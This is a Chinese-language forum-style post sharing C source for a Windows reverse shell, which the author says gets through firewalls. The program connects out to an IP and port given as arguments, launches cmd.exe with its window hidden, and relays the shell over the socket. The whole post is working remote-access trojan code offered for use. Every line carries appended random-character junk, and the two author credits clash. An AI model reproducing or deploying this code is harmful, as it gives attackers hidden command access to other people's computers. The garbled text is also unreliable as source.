这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 8e\a_R*(|
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/* ============================== "EEE09~l\
Rebound port in Windows NT b]RCe^E1
By wind,2006/7 344,mnAd
===============================*/ h83ho
#include D\({]oj]
#include TeqFy( Dr
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#pragma comment(lib,"wsock32.lib") S-2xe?sb
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void OutputShell(); bDUGzezP<
SOCKET sClient; s+zb[3}
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 7]e]Y>wZap
6 /4OFvL1
void main(int argc,char **argv) "vLqYc4$
{ ^ Jnp\o>
WSADATA stWsaData; R2]?9\II
int nRet; :NbD^h)R
SOCKADDR_IN stSaiClient,stSaiServer; O.rk!&N
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if(argc != 3) P]Gsc
{ *\VQ%_wg
printf("Useage:\n\rRebound DestIP DestPort\n"); o\|dm."f
return; 5\|[)~b
} DP;B*s4{U
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WSAStartup(MAKEWORD(2,2),&stWsaData); 8.-PQ
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); I$f:K]|.m!
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stSaiClient.sin_family = AF_INET; $,i:#KT`
stSaiClient.sin_port = htons(0); K:'pK1zy
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); FC]? T
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) !@VmaAT
{ Kjz,p^Y\
printf("Bind Socket Failed!\n"); $ya#-pi`;
return; {g/\5Z\b
} [*}[W6
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stSaiServer.sin_family = AF_INET; {qLnwy!i
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Mqc[IAcd]
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 9!9 Gpi
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) gEi"m5po
{ q,:\i+>K*
printf("Connect Error!"); 9,y&?GLP
return; ?R,^prW{
} fd+kr#
OutputShell(); h)y"?Jj
} :hMuxHr
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void OutputShell() H>M%5bj
{ 8kMMQ ES
char szBuff[1024]; kJDMIh|g
SECURITY_ATTRIBUTES stSecurityAttributes; t Ac;O[L
OSVERSIONINFO stOsversionInfo; (5yg\3Jvp
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; XLmbpEh
STARTUPINFO stStartupInfo; Opjt? ]
char *szShell; sgCIY:8
PROCESS_INFORMATION stProcessInformation; +,|-4U@dl
unsigned long lBytesRead; k.lnG5e
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 8<]> q
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); x(S064
stSecurityAttributes.lpSecurityDescriptor = 0; tY[y? DJ
stSecurityAttributes.bInheritHandle = TRUE; *\joaw
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ,%KB\;1mn'
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); (j-(fS
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); t S!~>X
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; gcv,]v8
stStartupInfo.wShowWindow = SW_HIDE;
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stStartupInfo.hStdInput = hReadPipe; pg>P]a{
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; -9aht}Z
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GetVersionEx(&stOsversionInfo); 5T
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switch(stOsversionInfo.dwPlatformId) S>"dUM
{ ,#c-"xY
case 1: ^
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szShell = "command.com"; n:#ji|wM
break; Xp{gh@#dr
default: y!v $5wi
szShell = "cmd.exe"; @{nT4{
break; Vm6^'1CY
}
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); k"sL.}$
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send(sClient,szMsg,77,0); c3
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while(1) tXp)o>"
{ 2XI%4
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); SA/0Z =
if(lBytesRead) ,U2D&{@
{ \/$v@5
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); F(XWnfUv
send(sClient,szBuff,lBytesRead,0); ,U7hzBj8k
} `nizGg~1
else |RjjP 7
{ R 7{r Y
lBytesRead=recv(sClient,szBuff,1024,0); :ZzG5[o3
if(lBytesRead<=0) break; O!j@8~='
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); p[/n[@<8=
} XBr>K>(
} z?gJHN<
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return; ]3I_H+hU
}